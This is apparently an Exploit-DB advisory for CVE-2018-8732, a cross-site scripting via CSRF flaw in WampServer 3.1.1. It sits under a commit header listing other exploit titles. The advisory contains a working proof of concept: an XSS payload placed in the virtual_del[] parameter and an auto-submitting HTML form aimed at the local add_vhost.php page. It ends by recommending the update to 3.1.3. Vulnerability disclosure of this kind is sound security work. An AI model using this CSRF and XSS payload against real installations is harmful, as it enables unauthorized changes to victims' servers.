b6b60b70e9
11 changes to exploits/shellcodes WebLog Expert Enterprise 9.4 - Privilege Escalation Tenda FH303/A300 Firmware V5.07.68_EN - Remote DNS Change Tenda FH303/A300 Firmware v5.07.68_EN - Remote DNS Change Tenda W3002R/A302/w309r Wireless Router V5.07.64_en - Remote DNS Change (PoC) Tenda W3002R/A302/w309r Wireless Router v5.07.64_en - Remote DNS Change (PoC) Frog CMS 0.9.5 - Cross-Site Request Forgery (Add User) WampServer 3.1.1 - Cross-Site Scripting / Cross-Site Request Forgery WampServer 3.1.2 - Cross-Site Request Forgery VideoFlow Digital Video Protection (DVP) 2.10 - Directory Traversal VideoFlow Digital Video Protection (DVP) 2.10 - Hard-Coded Credentials DLink DIR-601 - Admin Password Disclosure OpenCMS 10.5.3 - Cross-Site Request Forgery OpenCMS 10.5.3 - Cross-Site Scripting Secutech RiS-11/RiS-22/RiS-33 - Remote DNS Change
51 lines
No EOL
1.6 KiB
Text
51 lines
No EOL
1.6 KiB
Text
# Exploit Title: WampServer 3.1.1 XSS via CSRF
|
|
# Date: 31-03-2018
|
|
# Software Link: http://www.wampserver.com/en/
|
|
# Version: 3.1.1
|
|
# Tested On: Windows 10
|
|
# Exploit Author: Vipin Chaudhary
|
|
# Contact: http://twitter.com/vipinxsec
|
|
# Website: http://medium.com/@vipinxsec
|
|
# CVE: CVE-2018-8732
|
|
|
|
|
|
1. Description
|
|
|
|
XSS: cross site scripting via CSRF is remotely exploitable.
|
|
http://forum.wampserver.com/read.php?2,138295,150615,page=6#msg-150615
|
|
|
|
http://forum.wampserver.com/read.php?2,150617
|
|
|
|
2. Proof of Concept
|
|
|
|
|
|
How to exploit this XSS vulnerability:
|
|
1. Go to Add a Virtual host and add one to wampserver.
|
|
2. Go to Supress Virtual host and select one to delete and then intercept
|
|
the request using burp suite or any other proxy tool
|
|
3. Change the value of parameter *virtual_del[] *to "><img src=x
|
|
onerror=alert(1)> and forward it then you will see the XSS triggered.
|
|
|
|
How to see it:
|
|
1. Copy and paste this CSRF request in notepad and save it as anything.html
|
|
<html>
|
|
<body onload="wamp_csrf.submit();">
|
|
<form action="[localhost]; name="wamp_csrf" method="POST">
|
|
<input type="hidden" name="virtual_del[]"
|
|
value=""><img src=x onerror=alert(1)>"
|
|
/>
|
|
<input type="hidden" name="vhostdelete"
|
|
value="Suppress VirtualHost" />
|
|
</form>
|
|
</body>
|
|
</html>
|
|
|
|
Warning: action="[localhost] is action='
|
|
http://localhost/add_vhost.php?lang=english' replacing simple quotes(') by
|
|
double quote("[image: winking smiley]
|
|
|
|
|
|
3. Solution:
|
|
|
|
Update to version 3.1.3
|
|
http://www.wampserver.com/en/#download-wrapper |